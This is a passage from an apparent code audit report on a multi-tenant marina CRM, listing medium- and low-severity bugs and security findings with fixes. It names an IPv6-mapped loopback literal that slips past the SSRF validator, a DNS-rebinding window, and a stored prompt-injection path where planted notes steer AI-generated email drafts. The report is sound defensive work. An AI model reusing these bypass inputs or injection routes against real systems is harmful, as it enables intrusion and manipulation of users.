The presign handler returns `maxBytes = getMaxUploadMb(portId)*1MB`, but the filesystem proxy PUT only checks `MAX_FILE_SIZE = 52_428_800`. A rep can upload 50 MB to a berth capped at 15 MB. Magic-byte gate still requires `%PDF-`, so not arbitrary-content; it's an advertised-vs-enforced policy mismatch.
|
||||
**Fix:** Embed the per-port byte cap in the token payload at presign and enforce it in the proxy PUT. **Confidence: 0.85**
|
||||
|
||||
#### M18 — Single-use storage token consumed before the file is confirmed servable → permanently bricks emailed URLs on transient first-click failure
|
||||
|
||||
`src/app/api/storage/[token]/route.ts:75-102`
|
||||
The GET handler burns the SET-NX replay key (TTL pinned to token expiry, up to 24h/25 days) **before** `fs.stat`. A transient `fs.stat` error, NFS hiccup, slow-stream disconnect, or any 5xx after line 75 leaves the token marked seen — every later attempt returns "Token already used" for the token's full life. These URLs are emailed to customers verbatim. Availability, not security.
|
||||
**Fix:** Set the replay key only after the response is successfully committed, or `DEL` it on error/`ENOENT` paths so a genuine retry succeeds. **Confidence: 0.85**
|
||||
|
||||
#### M19 — Per-conversion `toFixed(2)` rounding inside row-by-row accumulation compounds drift; inverse rates stored pre-rounded
|
||||
|
||||
`src/lib/services/currency.ts:23` + `src/lib/services/reports/financial.service.ts` (all sums: `:155,384,406,441`)
|
||||
`convert` rounds every conversion (`Number((amount*rate).toFixed(2))`); reports call it once per row inside accumulation loops, so each row is cents-rounded before adding — error accumulates up to ~±0.5¢×N. `refreshRates` stores inverse rates pre-rounded to 6dp, so `X→USD` and `USD→X` aren't exact reciprocals. Multi-currency `revenueCollected`/`netContribution`/`pipelineExpected` won't reconcile to bank statements.
|
||||
**Fix:** Sum in source currency grouped by currency, convert each bucket once at the end, round only the final figure; store rates at full precision. **Confidence: 0.8**
|
||||
|
||||
#### M20 — Public website intake inserts a primary `interest_berths` row with `isInEoiBundle:false`, violating the primary↔bundle invariant
|
||||
|
||||
`src/lib/services/public-interest.service.ts:237-244`
|
||||
The intake path raw-inserts `{ isPrimary:true, isSpecificInterest:true, isInEoiBundle:false }`. The canonical `upsertInterestBerthTx` forces `isInEoiBundle=true` for any primary; migration `0083` exists specifically to repair this exact drift, and there is no DB trigger/check enforcing the invariant. Every website-originated multi-berth interest gets its primary berth silently excluded from the EOI bundle, so `buildEoiContext` (`eoi-context.ts:147-152`) omits it from the multi-berth range field on the signed document until a rep re-touches the link via the service.
|
||||
**Fix:** Call `upsertInterestBerthTx(tx, newInterest.id, berthId, { isPrimary:true, isSpecificInterest:true, addedBy:'public-submission' })` instead of the raw insert. **Confidence: 0.78**
|
||||
|
||||
#### M21 — Webhook test send ignores `isActive` while redeliver enforces it
|
||||
|
||||
`src/lib/services/webhooks.service.ts:357-397`
|
||||
`redeliverWebhookDelivery:301` hard-rejects `!webhook.isActive`, but `sendTestWebhook` checks only ownership and never inspects `isActive`. An admin who disabled a webhook (e.g. because its endpoint was flagged) can still force a live signed POST via the test button — the most convenient trigger for the H1 redirect SSRF since the admin controls timing and event type.
|
||||
**Fix:** Mirror redeliver — reject test sends to inactive webhooks, or document the bypass deliberately. **Confidence: 0.82**
|
||||
|
||||
#### M22 — Dead-letter alert fans out to all super-admins across all ports, leaking the failing webhook's name cross-tenant
|
||||
|
||||
`src/lib/queue/workers/webhooks.ts:312-331`
|
||||
The super-admin query has no `portId` filter, so a delivery failure on Port A notifies every super-admin of every tenant with a `description` embedding admin-controlled `webhook.name` (max 200 chars) and a `/admin/webhooks/{id}` link — a cross-tenant info leak plus a minor injection vector into other tenants' notification feeds. The notification row's `portId` is the originating port, so it may surface under the wrong port context.
|
||||
**Fix:** Scope the super-admin lookup to `portId`, or route to an explicitly cross-tenant ops channel. **Confidence: 0.78**
|
||||
|
||||
#### M23 — Invoice totals computed in JS float and persisted via `String(...)` into unbounded `numeric`; `0%` discount coerced to default 2%
|
||||
|
||||
`src/lib/services/invoices.ts:250,270,273,322-327,350` (cols: `src/lib/db/schema/financial.ts:109-114`)
|
||||
`subtotal`/`discountAmount`/`total`/line-item `total` are float-computed and written with `String(...)` into `numeric` columns that have no precision/scale, persisting values like `"0.30000000000000004"` and `24.690999999999999`. Separately, `discountPct = Number(setting.value) || 2` (`:264`) coerces a legitimately-configured `0%` net10 discount to 2%. Blast radius capped today (invoices module default-disabled, zero dev rows), but any port that enables it bills clients these values.
|
||||
**Fix:** Round each money output to 2dp before `String(...)`; give the columns explicit `(12,2)`; use `setting.value ?? 2` so a configured 0% is honored. **Confidence: 0.85**
|
||||
|
||||
#### M24 — Public file gate keys off user-settable `category`; any authed user can make own-port files publicly streamable _(pass-1, confirmed)_
|
||||
|
||||
`src/app/api/public/files/[id]/route.ts:26` + `src/lib/validators/files.ts:11,18` + `src/lib/services/files.ts:186`
|
||||
`category` is a free string with no allow-list, so a user can self-set `category=branding` to make their own-port file publicly streamable + CDN-cached 24h. No cross-tenant theft (ids are UUIDv4).
|
||||
**Fix:** Reserve `branding` (server-controlled) or add an explicit `is_public` column. **Confidence: high (confirmed)**
|
||||
|
||||
#### M25 — Dry-run preview lies about intra-file duplicate clients; no DB unique backstop on client-contact email
|
||||
|
||||
`src/lib/import/classify.ts:91-108` vs `src/lib/import/commit.ts:81-118` (index: `src/lib/db/schema/clients.ts:104-109`)
|
||||
`classifyRows` never writes, so two file rows with the same brand-new email both classify `insert`; on commit the interleaved classify-then-insert ordering turns row 2 into a `skip`. For companies/berths a real unique index makes this a clean row-error, but `clientContacts` email/phone indexes are **plain `index(...)`, not unique** — the only thing preventing duplicate clients is the sequential ordering. Any future batching/parallelizing/pre-classifying the commit silently creates duplicate clients with no DB guard. (Note: the import engine is currently only wired into the BullMQ worker; no API route enqueues it yet, so this is latent until the UI lands.)
|
||||
**Fix:** Add a partial unique index on `client_contacts(port, lower(value)) WHERE channel='email'`; have `classifyRows` track in-file match keys so preview reflects commit. **Confidence: 0.85**
|
||||
|
||||
#### M26 — Import undo only reverses inserts; `update-matches` mutations are irreversible
|
||||
|
||||
`src/lib/import/commit.ts:139-187`
|
||||
`undoBatch` filters `action='inserted'` (`:162`), so an `update-matches` run that overwrote 500 companies' `taxId`/`billingEmail` or 500 berths' `price`/`dimensions` cannot be rolled back — the ledger stores only the entity id, not the pre-image; undo reports `deleted:0` and leaves every mutation. Separately, client undo `db.delete(clients)` relies on FK violations to block deletes but can't distinguish dependents the import created from those a user added later, and gives the operator no reason a row blocked beyond a row number.
|
||||
**Fix:** Capture a JSON pre-image in `import_batch_rows` for updated rows and support update-undo; document `update-matches` as destructive-without-rollback until then; carry the blocking FK/table in blocked-row reporting. **Confidence: 0.8**
|
||||
|
||||
#### M27 — No idempotency/status guard on import commit; a re-enqueued batch re-imports and duplicates the row ledger
|
||||
|
||||
`src/lib/import/commit.ts:76-79` + `src/lib/queue/workers/import.ts:34-52`
|
||||
`commitBatch` unconditionally sets `status:'committing'` and re-processes every row; the worker never checks `batch.status`. `maxAttempts:1` blocks BullMQ auto-retry, but a future commit endpoint or operator re-trigger re-runs the whole file — appending a second full set of `import_batch_rows` so undo later sees both run-1 inserts and run-2 skips and header counts no longer reconcile with the ledger undo trusts.
|
||||
**Fix:** Early-return in the worker when `batch.status` is not in `{dry_run, uploaded}`; gate the transition with `UPDATE … WHERE status IN (…)` and bail on 0 rows. **Confidence: 0.8**
|
||||
|
||||
#### M28 — Inconsistent residential pipeline-stage validation: bulk rejects custom stages, per-row PATCH accepts arbitrary garbage
|
||||
|
||||
`src/app/api/v1/residential/interests/bulk/route.ts:22-27` vs `src/lib/validators/residential.ts:73-83` + `src/lib/services/residential.service.ts:553`
|
||||
Bulk hardcodes `z.enum(PIPELINE_STAGES)` (the 7 built-ins), so after any admin stage customization a bulk `change_stage` to a custom stage 400s. The per-row path uses `z.string()` and writes it straight through with no membership check, so `PATCH {pipelineStage:"anything"}` parks an interest on a non-existent stage that then surfaces as an orphan in `findOrphanInterests` and distorts funnel reports.
|
||||
**Fix:** Replace the hardcoded enum with a runtime check against `listStages(portId)` in both the bulk handler and `updateResidentialInterest`. **Confidence: 0.85**
|
||||
|
||||
#### M29 — Tenancies auto-create re-enables a module an admin explicitly disabled
|
||||
|
||||
`src/lib/services/tenancies-module.service.ts:35-69,76-87` + `berth-tenancies.service.ts:150-151` (+ `documents.service.ts:1687` webhook path)
|
||||
`createPending` calls `enableTenanciesModule(portId)` unconditionally inside its tx, UPSERTing the setting back to `true`, and the webhook `autoCreatePendingTenancies` deliberately does not gate on `isTenanciesModuleEnabled`. So: admin disables Tenancies → a Reservation Agreement completes → the module flips itself back on and reappears in the sidebar, contradicting the "explicit false always wins" precedence.
|
||||
**Fix:** Only call `enableTenanciesModule` when the setting is unset (respect an explicit `false`), or have it no-op when a stored `false` exists. **Confidence: 0.72**
|
||||
|
||||
_(MEDIUM tier = 29 distinct findings, M1–M29: M1–M18 carry the pass-3 MEDIUMs, M19–M29 carry the pass-1+2 MEDIUMs. No within-tier merges occurred at MEDIUM — all merges were in the CRITICAL/HIGH tiers.)_
|
||||
|
||||
---
|
||||
|
||||
### LOW
|
||||
|
||||
#### L1 — `clearInterestOutcome` reopen-stage default references a dead `'completed'` sentinel
|
||||
|
||||
`src/lib/services/interests.service.ts:1463-1465`
|
||||
`pipelineStage === 'completed' ? 'qualified' : …` is dead after the 9→7 migration; any legacy row still holding `'completed'` reopens to `qualified` rather than its true pre-close stage.
|
||||
**Fix:** Drop the dead branch or route via `canonicalizeStage`. **Confidence: 0.7**
|
||||
|
||||
#### L2 — `STAGE_TRANSITIONS` blocks the only forward edge into `nurturing` from `enquiry`
|
||||
|
||||
`src/lib/constants.ts:140-148`
|
||||
`enquiry: ['qualified','eoi']` omits `nurturing`; a new enquiry must pass through `qualified` (or override) to be parked as nurturing. Minor state-graph/UX gap.
|
||||
**Fix:** Add `nurturing` to the `enquiry` transition set. **Confidence: 0.6**
|
||||
|
||||
#### L3 — Berth-recommender stage-scale mismatch classifies `reservation`-stage berths as Tier D ("late stage") and hides them `[needs-confirm]`
|
||||
|
||||
`src/lib/services/berth-recommender.service.ts:213` vs `:556-568`
|
||||
`LATE_STAGE_THRESHOLD` derives from a JS map (`deposit_paid=5`) but the SQL CASE uses a different 1-7 scale (`reservation=5`). `classifyTier` compares SQL-scale `>= 5`, so reservation-stage interests trip late-stage and the berth is suppressed when `tier_ladder_hide_late_stage` is on (default true). Lane rated this HIGH; demoted to LOW + `[needs-confirm]` — impact is recommender-ranking only (no money/public-status effect) and rests on the two scales genuinely diverging at runtime; warrants a direct trace before fixing.
|
||||
**Fix:** Make the SQL CASE emit the same scale as `STAGE_ORDER`, single source of truth. **Confidence: 0.8 (code), severity disputed.**
|
||||
|
||||
#### L4 — Recommender `classifyTier` dead branch + unreachable "under offer" (space) variant
|
||||
|
||||
`src/lib/services/berth-recommender.service.ts:240-242`
|
||||
`return t.activeInterestCount > 0 ? 'C' : 'C'` is dead; `normStatus === 'under offer'` (space) never matches the canonical `under_offer`. Cosmetic; behavior correct.
|
||||
**Fix:** Collapse to `if (normStatus === 'under_offer') return 'C';`. **Confidence: 0.95**
|
||||
|
||||
#### L5 — Orphaned storage blob + `files` row on mid-render retry
|
||||
|
||||
`src/lib/services/report-render.service.ts:278-296` + `reports.service.tsx:276-307`
|
||||
Neither path guards the `backend.put` + `files` insert against re-execution; a crash between put and the status/`fileId` write leaves an unreferenced orphan on BullMQ retry (`reports` maxAttempts 3). Correct `portId`; cost/cosmetic only.
|
||||
**Fix:** Deterministic storage key per run + `onConflictDoNothing`, or early-return when the run already has a `storageKey`/`fileId`. **Confidence: 0.7**
|
||||
|
||||
#### L6 — Non-atomic SELECT-then-UPDATE in report scheduler would double-fire under multiple worker replicas `[needs-confirm]`
|
||||
|
||||
`src/lib/queue/workers/reports.ts:31-90`
|
||||
Both pollers `SELECT WHERE nextRunAt <= now` then `UPDATE nextRunAt` with no `FOR UPDATE SKIP LOCKED`. Safe today (single `crm-worker`, concurrency 1) but a foot-gun the moment `MULTI_NODE_DEPLOYMENT` adds a replica → duplicate runs + email blasts.
|
||||
**Fix:** Atomic claim (`UPDATE … WHERE id IN (SELECT … FOR UPDATE SKIP LOCKED) RETURNING`). **Confidence: 0.75 (latent).**
|
||||
|
||||
#### L7 — `send-notification-email` omits `portId`, bypassing per-port send-from / branding
|
||||
|
||||
`src/lib/queue/workers/notifications.ts:95-99`
|
||||
Unlike every other `sendEmail` call site, this one omits `portId`, so `getPortEmailConfig` is never consulted and the mail goes via the global default SMTP/From. Subject prefix is port-derived but the envelope From is not — in multi-port, tenant B's notifications send from tenant A's/global identity.
|
||||
**Fix:** Pass `notif.portId` to `sendEmail`. **Confidence: 0.8**
|
||||
|
||||
#### L8 — Worker-local `recordAiUsage` duplicate diverges from the non-throwing service version (budget-accounting drift)
|
||||
|
||||
`src/lib/queue/workers/ai.ts:33-47`
|
||||
The worker defines its own `recordAiUsage` (bare `db.insert`, trusts caller-passed `totalTokens`) instead of importing the service version (try/catch, derives `totalTokens = input+output`). If `usage.total_tokens` diverges from prompt+completion, budget accounting corrupts.
|
||||
**Fix:** Delete the worker copy, call the service `recordAiUsage`. **Confidence: 0.7**
|
||||
|
||||
#### L9 — AI spend cap disabled by default (`DEFAULT_BUDGET.enabled=false`)
|
||||
|
||||
`src/lib/services/ai-budget.service.ts:34,152-155`
|
||||
`checkBudget` short-circuits to `{ ok:true, remaining:+Infinity }` when `!enabled`, so a port that never opens the AI-budget screen has no cap even on the OCR path that does call `checkBudget`. Default posture is "unlimited AI spend per tenant."
|
||||
**Fix:** Ship a conservative enabled default, or warn when AI features are flag-enabled while budget is disabled. **Confidence: 0.8**
|
||||
|
||||
#### L10 — Stored prompt injection via interest notes / email subjects (unsanitized into AI prompt)
|
||||
|
||||
`src/lib/queue/workers/ai.ts:165,168`
|
||||
`additionalInstructions` is sanitized + data-fenced, but recent notes (`n.content.slice(0,200)`) and recent email subjects are injected raw in the same user-role message, above the fenced block. Insider/stored-injection only (notes are internal-rep-written, not portal/public); output is bounded (10KB cap, JSON-only `response_format`) so no trivial system-prompt exfil — but a planted note can steer a colleague's generated draft (malicious link, off-brand content).
|
||||
**Fix:** Run notes + subjects through `sanitizeForPrompt` + the same data-fence. **Confidence: 0.85**
|
||||
|
||||
#### L11 — Documenso v2: persisting a `null` `documensoNumericId` makes `DOCUMENT_COMPLETED` webhooks silently no-op `[needs-confirm]`
|
||||
|
||||
`src/lib/services/documenso-client.ts:578` + persist `document-templates.ts:737,849`
|
||||
`normalizeDocument` derives `numericId` only when `r.id` is numeric; v2 webhooks carry only the numeric pk as `payload.id` while `documents.documensoId` holds the `envelope_xxx` string. If `/template/use` doesn't surface the numeric pk under `r.id` (tests assert `numericId: null` is routine), `resolveWebhookDocument` matches neither column → completion dropped (signed PDF never downloads, stage never advances, no completion email/tenancy) until the poll worker reconciles via `documensoId`. Degraded-not-broken → HIGH per lane, but lane self-rated confidence 0.6 (depends on the exact `/template/use` v2 response shape, unobserved live) → `[needs-confirm]`.
|
||||
**Fix:** Re-fetch `getDocument(created.id)` for an authoritative `numericId`, or assert non-null at persist with a GET fallback; add a v2 numeric-webhook round-trip integration test. **Confidence: 0.6**
|
||||
|
||||
#### L12 — No normalization/validation of admin-set Documenso API URL → silent double-pathing 404s
|
||||
|
||||
`src/lib/services/port-config.ts:444` + `validators/settings.ts:4-5`
|
||||
`upsertSettingSchema` validates `value: z.unknown()`; the admin override (canonical) isn't `.url()`-checked like the env var. An admin pasting `…/api/v1` or a trailing slash yields `…/api/v1/api/v2/envelope/create` → 404 on every send/download, surfaced only as a generic `DOCUMENSO_UPSTREAM_ERROR`.
|
||||
**Fix:** Strip trailing `/api/v1`|`/api/v2`+slashes and `z.string().url()`-validate the override key. **Confidence: 0.85**
|
||||
|
||||
#### L13 — Documenso `completed` event insert lacks `signatureHash` + `onConflictDoNothing` (duplicate timeline rows)
|
||||
|
||||
`src/lib/services/documents.service.ts:1746-1750`
|
||||
Unlike every sibling handler, the completion insert has no conflict clause; a failed-download-then-retry accumulates duplicate `completed` rows. Separately, the `viewed` insert (line 1903) passes `signatureHash` but not `recipientEmail`, so `idx_de_per_recipient_dedup` has a null key and can't dedup v2 multi-delivery opens. Cosmetic; no state corruption (completion gated by `status='completed' && signedFileId`).
|
||||
**Fix:** Add `signatureHash` + `.onConflictDoNothing()` to the completed insert; populate `recipientEmail` on viewed. **Confidence: 0.9**
|
||||
|
||||
#### L14 — GDPR builder docstring overstates `portId` filtering
|
||||
|
||||
`src/lib/services/gdpr-bundle-builder.ts:78-82` vs `:111-119,160-162,172-175`
|
||||
The docstring claims every query filters by `portId`, but `clientContacts/clientAddresses/clientRelationships/clientNotes/clientTags/formSubmissions/scratchpadNotes/portalUsers` filter by `clientId` only. Safe (clientId is a globally-unique UUID, client pre-validated against `portId`), but the comment overstates the guarantee.
|
||||
**Fix:** Add redundant `portId` predicates (defense-in-depth) or correct the comment. **Confidence: 0.8**
|
||||
|
||||
#### L15 — Hard-deleting a merge-winner NULLs loser redirect breadcrumbs (`merged_into_client_id`)
|
||||
|
||||
`src/lib/db/migrations/0042_missing_fk_constraints.sql:156` + `client-hard-delete.service.ts`
|
||||
The self-FK is `ON DELETE SET NULL`; hard-delete doesn't proactively migrate pointers, so archived losers' redirect breadcrumb silently breaks. Benign (no FK violation, no cross-tenant issue).
|
||||
**Fix:** Note in the hard-delete cascade comment. **Confidence: 0.75**
|
||||
|
||||
#### L16 — Email/bounce hardening nits (parsed recipient not validated; raw header/footer HTML; subject-token CRLF)
|
||||
|
||||
`src/lib/email/bounce-parser.ts:95-107`, `src/lib/email/shell.ts:83,85` + `port-config.ts:606-607`, `src/lib/email/template-overrides.ts:36-39`
|
||||
(a) `originalRecipient` from untrusted IMAP body is never run through `assertEmailValid` before query/notify (no SQLi/injection, but can falsely match/pollute the notification string); (b) `emailHeaderHtml`/`emailFooterHtml` interpolated raw into every transactional email — intentional `manage_settings`-gated branding feature, so self-XSS-by-highest-privilege; (c) `applySubjectTokens` does no CRLF neutralization (nodemailer strips CR/LF, so safe in practice).
|
||||
**Fix:** Validate the parsed recipient against `RFC5322_EMAIL`; optionally allowlist-sanitize header/footer HTML for multi-admin tenants. **Confidence: 0.6–0.8**
|
||||
|
||||
#### L17 — Storage hardening nits (Content-Type echoed from signed token; dev HMAC seed reuse; access-key in fingerprint)
|
||||
|
||||
`src/app/api/storage/[token]/route.ts:109`, `src/lib/storage/filesystem.ts:431-446` + `index.ts:211-213`
|
||||
(a) GET proxy sets `Content-Type` from signed `payload.c` with no allow-list (`nosniff` + sometimes-`attachment` mitigate; issuer-trust only, not forgeable); (b) dev HMAC fallback reuses `BETTER_AUTH_SECRET` (guarded to dev, throws in prod — acceptable); (c) `fingerprint()` JSON-stringifies the decrypted S3 access key into a process-lifetime string (secret key stays encrypted). Low impact, in-process only.
|
||||
**Fix:** Constrain `payload.c` to `ALLOWED_MIME_TYPES` (or force `attachment`); fingerprint on a hash of config, not raw decrypted values. **Confidence: 0.6–0.75**
|
||||
|
||||
#### L18 — UI: decorative emoji violate the named-icon-component doctrine (3 sites)
|
||||
|
||||
`src/components/documents/hub-root-view.tsx:156` (`folder`), `src/components/admin/documenso/template-sync-button.tsx:328` (`warning`), `src/components/admin/onboarding-checklist.tsx:265` (party toast)
|
||||
MEMORY explicitly flags decorative emoji as cheap/AI-like; the app uses Lucide icons everywhere else. _(Bundled — 3 instances of one rule violation.)_
|
||||
**Fix:** Replace with `<Folder>`/`<AlertTriangle>` and drop the toast party emoji (toasts already render a status icon). **Confidence: ~0.9**
|
||||
|
||||
#### L19 — UI: NotesList runs a 30s wall-clock interval on every mount + `use-create-from-url` stale-closure suppression
|
||||
|
||||
`src/components/shared/notes-list.tsx:185-189`, `src/hooks/use-create-from-url.ts:17-26`
|
||||
(a) `setInterval(setNow, 30_000)` ticks unconditionally to drive the edit-countdown, re-rendering every open NotesList even when nothing is editable; (b) `onOpen` is excluded from effect deps via eslint-disable — currently safe (fires once, strips the param) but fragile.
|
||||
**Fix:** Schedule the interval only when a note is inside its edit window; wrap `onOpen` in a ref/`useCallback`. **Confidence: 0.55–0.7**
|
||||
|
||||
#### L20 — Socket: port-less connection allowed; `join:entity` `type` not runtime-validated; connection-state-recovery restores rooms
|
||||
|
||||
`src/lib/socket/server.ts:108,133-144,164-172`
|
||||
(a) a socket connecting with no `auth.portId` is allowed (joins no `port:` room) but can still `join:entity` — safely gated by `userCanJoinEntity`'s DB lookup, so no leak; (b) `join:entity` trusts the TS union and doesn't zod/allow-list `{type,id}` — fails closed today (`entityPortId=null` → false) but is an untyped trust boundary; (c) `connectionStateRecovery` restores prior rooms on reconnect but re-runs middleware (cookie re-validated), so revoked sessions are rejected — only residual is a ≤2-min window retaining an old room mid-disconnect. _(Bundled defense-in-depth nits.)_
|
||||
**Fix:** Reject port-less connections or document them; add `z.enum(['berth','client','interest'])`+uuid validation at the handler top. **Confidence: 0.6–0.72**
|
||||
|
||||
#### L21 — Rate-limiter sliding window admits `max + 1` requests (off-by-one) `[needs-confirm]`
|
||||
|
||||
`src/lib/rate-limit.ts:48,52`
|
||||
`zadd` records before `zcard` counts and `allowed: count <= config.max`, so the limiter admits `max+1` per window. Lane reasoning is self-contradicting in the report; flagged `[needs-confirm]`. Affects every limiter uniformly, minor.
|
||||
**Fix:** `count < config.max` after the add, or `zcard` before `zadd`. **Confidence: 0.75**
|
||||
|
||||
#### L22 — Brochure presign omits `portSlug`, skipping the proxy port-binding (`p`) token field
|
||||
|
||||
`src/app/api/v1/admin/brochures/[id]/versions/route.ts:31-34`
|
||||
Berth-PDF presign passes `portSlug` (engaging the `p`-binding check); brochure presign doesn't, so brochure tokens skip the port-namespace assertion. Defense-in-depth only (`validateStorageKey` already blocks traversal; `generateBrochureStorageKey` is server-controlled).
|
||||
**Fix:** Pass `portSlug` in the brochure presign opts. **Confidence: 0.9**
|
||||
|
||||
#### L23 — Divergent permission catalogs (roles validator vs override allow-list)
|
||||
|
||||
`src/lib/validators/roles.ts:5-18` vs `permission-overrides/route.ts:37-85`
|
||||
`rolePermissionsSchema` uses `z.record(z.string(), z.boolean())` (accepts arbitrary action keys) and is missing resources the override `ALLOWED_RESOURCE_ACTIONS` includes (`yachts`, `companies`, `memberships`, `tenancies`, `residential_*`, `document_templates`). Super-admin-gated, so inert leaves only pollute the matrix/audit diffs.
|
||||
**Fix:** Unify into one source of truth. **Confidence: 0.6**
|
||||
|
||||
#### L24 — Deposit gate has no lower-bound re-lock after a refund; float-summed `>=` boundary
|
||||
|
||||
`src/lib/services/payments.service.ts:132` + `getDepositTotalForInterest`
|
||||
With `toFixed(2)` masking most float-boundary cases, the residual issue is no idempotency/lower-bound guard: a deposit that trips the gate (berth Sold, `dateDepositReceived` stamped) followed by a refund that drops net below expected leaves the stage advanced and the berth Sold. Compounded by H12 where refunds may not even subtract in some readers.
|
||||
**Fix:** Round both sides to cents before compare; on refund recompute the gate condition and reverse/flag the stage/berth state when net drops below expected. **Confidence: 0.7**
|
||||
|
||||
#### L25 — Missing-rate / stale-rate FX handling silently adds unconverted foreign amounts
|
||||
|
||||
`src/lib/services/currency.ts:8-14` + `src/lib/services/reports/currency.ts:31`
|
||||
`getRate` returns null for unknown pairs and `normalizeAmount` falls back to `?? amount`, adding an unconverted foreign amount straight into the port-currency total (5000 JMD added as literal 5000 to a EUR total). No max-age check on `currencyRates.fetchedAt`; `refreshRates` swallows all errors (`:71`), so a months-stale rate is used silently.
|
||||
**Fix:** Surface a "could not normalize" flag in the report payload when `convert` returns null; reject rates older than a threshold; don't swallow `refreshRates` failures. **Confidence: 0.65**
|
||||
|
||||
#### L26 — `companyNotes` create-response overwrites real `updatedAt` with `createdAt`; stale doc + dead defensive code
|
||||
|
||||
`src/lib/services/notes.service.ts:932` (+ `src/lib/db/schema/companies.ts:131`)
|
||||
The schema now defines a real `companyNotes.updatedAt`, contradicting the documented "lacks updatedAt" contract. The create path still substitutes `createdAt` while `update()` and the aggregator read the real column — so the create response's `updatedAt` differs from a subsequent read. Cosmetic.
|
||||
**Fix:** Drop the `updatedAt: note.createdAt` override; update CLAUDE.md. **Confidence: 0.7**
|
||||
|
||||
#### L27 — Two junction-insert paths bypass the cross-port guard in `upsertInterestBerthTx`
|
||||
|
||||
`src/lib/services/public-interest.service.ts:237` & `src/lib/services/client-restore.service.ts:380`
|
||||
`upsertInterestBerthTx` asserts `interest.portId === berth.portId`; the two raw inserts skip it. Both currently resolve `berthId` from a port-scoped lookup in the same tx, so it's defense-in-depth, not currently exploitable — but a future resolver edit loses the guard. Folds into M20's fix (use the service).
|
||||
**Fix:** Route both through `upsertInterestBerthTx`. **Confidence: 0.6**
|
||||
|
||||
_(Additional LOW-tier items from pass 1+2 carried below; the IPv6-SSRF, TOCTOU-rebind, redeliver-replay, pending-on-active-berth, tenancy socket/saveStages, import header-mapping, API-envelope, and import-port-trust clusters are renumbered L28–L35 to keep all distinct findings.)_
|
||||
|
||||
#### L28 — IPv6-mapped-IPv4 SSRF branch is dead code; static validator accepts `[::ffff:127.0.0.1]` etc.
|
||||
|
||||
`src/lib/validators/webhooks.ts:56-60`
|
||||
The `::ffff:` handler expects a dotted-quad tail but Node normalizes the hostname to hex (`[::ffff:7f00:1]`), so `isBlockedIpv4` never matches → not blocked. The create/update validator accepts loopback/IMDS/RFC1918 mapped literals. Currently downgraded to LOW because the worker's `resolveAndCheckHost` throws `ENOTFOUND` on the bracketed literal — but for the wrong reason (DNS failure, not range detection); any future bracket-strip-before-lookup or undici change re-opens it. No test covers this form.
|
||||
**Fix:** Parse the IPv6 hostname properly (reconstruct from hextets or use `net.isIP` + a real IPv6 range library) and block `::ffff:` mapped ranges by hex encoding. **Confidence: 0.9**
|
||||
|
||||
#### L29 — TOCTOU between validation `lookup()` and `fetch()`'s independent re-resolution (residual DNS rebind)
|
||||
|
||||
`src/lib/queue/workers/webhooks.ts:18-45` vs `:224`
|
||||
`resolveAndCheckHost` checks resolved IPs but `fetch` re-resolves the hostname; the validated IP is not pinned, leaving a short-TTL rebind window. Lower priority than H1 (redirect is the easier path to the same target).
|
||||
**Fix:** Resolve once and pin the address (custom undici Agent with fixed `lookup`, or connect by IP with Host/SNI preserved); reject if the connected peer IP is private. **Confidence: 0.7**
|
||||
|
||||
#### L30 — Redeliver re-signs stale captured payload with a fresh timestamp; transport-freshness checks can be defeated
|
||||
|
||||
`src/lib/queue/workers/webhooks.ts:69` + `src/lib/services/webhooks.service.ts:312-316`
|
||||
Redeliver clones `source.payload` and the worker regenerates `id`/timestamp at send (`:142-149`) while `data` stays stale — so a replay carries a fresh signature + fresh `X-Webhook-Timestamp` over old data, and the delivery id changes per redeliver. A receiver relying solely on transport timestamp/delivery-id freshness accepts arbitrarily old event data as fresh. Semantics/documentation gap.
|
||||
**Fix:** Document that redeliver intentionally re-signs stale data; surface the original event time inside `data` for business-level freshness checks. **Confidence: 0.6**
|
||||
|
||||
#### L31 — `createPending` allows unlimited pending rows on an already-active berth (dead-end UX)
|
||||
|
||||
`src/lib/services/berth-tenancies.service.ts:93-179`
|
||||
`createPending` never consults active-tenancy state; the partial unique index only covers `active`, so any number of `pending` rows insert on a fully-occupied berth and all `ConflictError` one-at-a-time at activate. No data corruption; confusing UX and dashboard noise.
|
||||
**Fix:** Query for an existing active tenancy in `createPending` and warn/soft-block or surface it in the create response. **Confidence: 0.78**
|
||||
|
||||
#### L32 — Tenancy cluster: wrong socket event + non-transactional `saveStages` _(two minor items)_
|
||||
|
||||
`src/lib/services/berth-tenancies.service.ts:401-404` and `src/lib/services/residential-stages.service.ts:91-167`
|
||||
(a) `updateTenancy` emits `berth_tenancy:activated` for a metadata-only edit, causing false "activated" toasts/cache invalidations on clients — fix: emit `:updated` (conf 0.9). (b) `saveStages` runs reassignment UPDATEs and the stage-list UPSERT as separate top-level `db` calls despite a docstring claiming one transaction; a crash between them leaves interests reassigned but the stage list unsaved — fix: wrap both in `db.transaction` or correct the docstring (conf 0.83).
|
||||
**Confidence: 0.83–0.9**
|
||||
|
||||
#### L33 — Import substring header auto-mapping can mis-map fields; berth mooring regex laxer than canonical _(two minor items)_
|
||||
|
||||
`src/lib/import/mapping.ts:53` and `src/lib/import/adapters/berths.ts:12-14,31`
|
||||
(a) `c.includes(h.n) || h.n.includes(c)` scores any substring relationship as a near-exact match, so "Billing Email" can auto-map to client `email` and "Company Name" to `name`; a careless confirm imports into the wrong column at scale — fix: surface score-1 substring matches as "review" not pre-selected, or use whole-token boundaries (conf 0.6). (b) `canonMoo` zod regex `^[A-Za-z]+-?0*\d+$` is laxer than the documented canonical `^[A-Z]+\d+$` and `parseInt` loses precision past `MAX_SAFE_INTEGER`; dedup stays self-consistent so no duplicate/cross-tenant risk — fix: align the regex, reject absurd numeric lengths (conf 0.55).
|
||||
**Confidence: 0.55–0.6**
|
||||
|
||||
#### L34 — API envelope / auth-surface inconsistency cluster _(pass-1, confirmed)_
|
||||
|
||||
Multiple files
|
||||
`me/email` returns 3 shapes; no-content mutations return `{ok:true}` instead of `204`; `dashboard`/`notifications`/`search` GETs return bare shapes; inline 400s bypass `errorResponse`; public intake POSTs use bespoke shapes; portal login reads `?next=` but proxy sets `?redirect=`; scanner layout lacks a membership check; module-gate layouts fail-open on an unresolved slug.
|
||||
**Fix:** Normalize to the `{ data }` envelope per CLAUDE.md; route 400s through `errorResponse`; align `?next=`/`?redirect=`; add the scanner membership check; fail-closed on unresolved slug. **Confidence: high (confirmed)**
|
||||
|
||||
#### L35 — Import port-authorization trust boundary is unguarded (latent) `[needs-confirm]`
|
||||
|
||||
`src/lib/import/types.ts:46-49` + `src/lib/queue/workers/import.ts:71-78`
|
||||
